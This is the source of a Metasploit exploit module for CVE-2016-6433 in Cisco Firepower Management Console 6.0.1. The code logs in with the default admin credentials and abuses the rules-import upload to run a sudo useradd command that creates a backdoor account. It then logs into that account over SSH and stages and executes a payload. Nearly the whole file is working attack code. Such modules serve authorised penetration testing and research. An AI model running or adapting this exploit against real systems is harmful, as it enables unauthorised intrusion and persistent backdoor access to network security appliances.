Path: blob/master/modules/exploits/linux/http/cisco_firepower_useradd.rb
19612 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::CmdStager10include Msf::Exploit::Remote::SSH1112def initialize(info = {})13super(14update_info(15info,16'Name' => "Cisco Firepower Management Console 6.0 Post Authentication UserAdd Vulnerability",17'Description' => %q{18This module exploits a vulnerability found in Cisco Firepower Management Console.19The management system contains a configuration flaw that allows the www user to20execute the useradd binary, which can be abused to create backdoor accounts.21Authentication is required to exploit this vulnerability.22},23'License' => MSF_LICENSE,24'Author' => [25'Matt', # Original discovery & PoC26'sinn3r' # Metasploit module27],28'References' => [29[ 'CVE', '2016-6433' ],30[ 'URL', 'https://blog.korelogic.com/blog/2016/10/10/virtual_appliance_spelunking' ]31],32'Platform' => 'linux',33'Arch' => ARCH_X86,34'Targets' => [35[ 'Cisco Firepower Management Console 6.0.1 (build 1213)', {} ]36],37'Privileged' => false,38'DisclosureDate' => '2016-10-10',39'CmdStagerFlavor' => %w{echo},40'DefaultOptions' => {41'SSL' => true,42'SSLVersion' => 'Auto',43'RPORT' => 44344},45'DefaultTarget' => 0,46'Notes' => {47'Reliability' => UNKNOWN_RELIABILITY,48'Stability' => UNKNOWN_STABILITY,49'SideEffects' => UNKNOWN_SIDE_EFFECTS50}51)52)5354register_options(55[56# admin:Admin123 is the default credential for 6.0.157OptString.new('USERNAME', [true, 'Username for Cisco Firepower Management console', 'admin']),58OptString.new('PASSWORD', [true, 'Password for Cisco Firepower Management console', 'Admin123']),59OptString.new('NEWSSHUSER', [false, 'New backdoor username (Default: Random)']),60OptString.new('NEWSSHPASS', [false, 'New backdoor password (Default: Random)']),61OptString.new('TARGETURI', [true, 'The base path to Cisco Firepower Management console', '/']),62OptInt.new('SSHPORT', [true, 'Cisco Firepower Management console\'s SSH port', 22])63]64)65end6667def check68# For this exploit to work, we need to check two services:69# * HTTP - To create the backdoor account for SSH70# * SSH - To execute our payload7172vprint_status('Checking Cisco Firepower Management console...')73res = send_request_cgi({74'method' => 'GET',75'uri' => normalize_uri(target_uri.path, '/img/favicon.png?v=6.0.1-1213')76})7778if res && res.code == 20079vprint_status("Console is found.")80vprint_status("Checking SSH service.")81begin82opts = ssh_client_defaults.merge({83port: datastore['SSHPORT'],84password: Rex::Text.rand_text_alpha(5),85auth_methods: ['password']86})87::Timeout.timeout(datastore['SSH_TIMEOUT']) do88Net::SSH.start(rhost, 'admin', opts)89end90rescue Timeout::Error91vprint_error('The SSH connection timed out.')92return Exploit::CheckCode::Unknown93rescue Net::SSH::AuthenticationFailed94# Hey, it talked. So that means SSH is running.95return Exploit::CheckCode::Appears96rescue Net::SSH::Exception => e97vprint_error(e.message)98end99end100101Exploit::CheckCode::Safe102end103104def get_sf_action_id(sid)105requirements = {}106107print_status('Attempting to obtain sf_action_id from rulesimport.cgi')108109uri = normalize_uri(target_uri.path, 'DetectionPolicy/rules/rulesimport.cgi')110res = send_request_cgi({111'method' => 'GET',112'uri' => uri,113'cookie' => "CGISESSID=#{sid}"114})115116unless res117fail_with(Failure::Unknown, 'Failed to obtain rules import requirements.')118end119120sf_action_id = res.body.scan(/sf_action_id = '(.+)';/).flatten[1]121122unless sf_action_id123fail_with(Failure::Unknown, 'Unable to obtain sf_action_id from rulesimport.cgi')124end125126sf_action_id127end128129def create_ssh_backdoor(sid, user, pass)130uri = normalize_uri(target_uri.path, 'DetectionPolicy/rules/rulesimport.cgi')131sf_action_id = get_sf_action_id(sid)132sh_name = 'exploit.sh'133134print_status("Attempting to create an SSH backdoor as #{user}:#{pass}")135136mime_data = Rex::MIME::Message.new137mime_data.add_part('Import', nil, nil, 'form-data; name="action_submit"')138mime_data.add_part('file', nil, nil, 'form-data; name="source"')139mime_data.add_part('1', nil, nil, 'form-data; name="manual_update"')140mime_data.add_part(sf_action_id, nil, nil, 'form-data; name="sf_action_id"')141mime_data.add_part(142"sudo useradd -g ldapgroup -p `openssl passwd -1 #{pass}` #{user}; rm /var/sf/SRU/#{sh_name}",143'application/octet-stream',144nil,145"form-data; name=\"file\"; filename=\"#{sh_name}\""146)147148send_request_cgi({149'method' => 'POST',150'uri' => uri,151'cookie' => "CGISESSID=#{sid}",152'ctype' => "multipart/form-data; boundary=#{mime_data.bound}",153'data' => mime_data.to_s,154'vars_get' => { 'no_mojo' => '1' },155})156end157158def generate_new_username159datastore['NEWSSHUSER'] || Rex::Text.rand_text_alpha(5)160end161162def generate_new_password163datastore['NEWSSHPASS'] || Rex::Text.rand_text_alpha(5)164end165166def do_login167console_user = datastore['USERNAME']168console_pass = datastore['PASSWORD']169uri = normalize_uri(target_uri.path, 'login.cgi')170171print_status("Attempting to login in as #{console_user}:#{console_pass}")172173res = send_request_cgi({174'method' => 'POST',175'uri' => uri,176'vars_post' => {177'username' => console_user,178'password' => console_pass,179'target' => ''180}181})182183unless res184fail_with(Failure::Unknown, 'Connection timed out while trying to log in.')185end186187res_cookie = res.get_cookies188if res.code == 302 && res_cookie.include?('CGISESSID')189cgi_sid = res_cookie.scan(/CGISESSID=(\w+);/).flatten.first190print_status("CGI Session ID: #{cgi_sid}")191print_good("Authenticated as #{console_user}:#{console_pass}")192store_valid_credential(user: console_user, private: console_pass) # changes service_name to http || https193return cgi_sid194end195196nil197end198199def execute_command(cmd, opts = {})200@first_exec = true201cmd.gsub!(/\/tmp/, '/usr/tmp')202203# Weird hack for the cmd stager.204# Because it keeps using > to write the payload.205if @first_exec206@first_exec = false207else208cmd.gsub!(/>>/, ' > ')209end210211begin212Timeout.timeout(3) do213@ssh_socket.exec!("#{cmd}\n")214vprint_status("Executing #{cmd}")215end216rescue Timeout::Error217fail_with(Failure::Unknown, 'SSH command timed out')218rescue Net::SSH::ChannelOpenFailed219print_status('Trying again due to Net::SSH::ChannelOpenFailed (sometimes this happens)')220retry221end222end223224def init_ssh_session(user, pass)225print_status("Attempting to log into SSH as #{user}:#{pass}")226227factory = ssh_socket_factory228opts = {229auth_methods: ['password', 'keyboard-interactive'],230port: datastore['SSHPORT'],231use_agent: false,232config: false,233password: pass,234proxy: factory,235non_interactive: true236}237238opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']239240begin241ssh = nil242::Timeout.timeout(datastore['SSH_TIMEOUT']) do243@ssh_socket = Net::SSH.start(rhost, user, opts)244end245rescue Net::SSH::Exception => e246fail_with(Failure::Unknown, e.message)247end248end249250def exploit251# To exploit the useradd vuln, we need to login first.252sid = do_login253return unless sid254255# After login, we can call the useradd utility to create a backdoor user256new_user = generate_new_username257new_pass = generate_new_password258create_ssh_backdoor(sid, new_user, new_pass)259260# Log into the SSH backdoor account261init_ssh_session(new_user, new_pass)262263begin264execute_cmdstager({ :linemax => 500 })265ensure266@ssh_socket.close267end268end269end270271272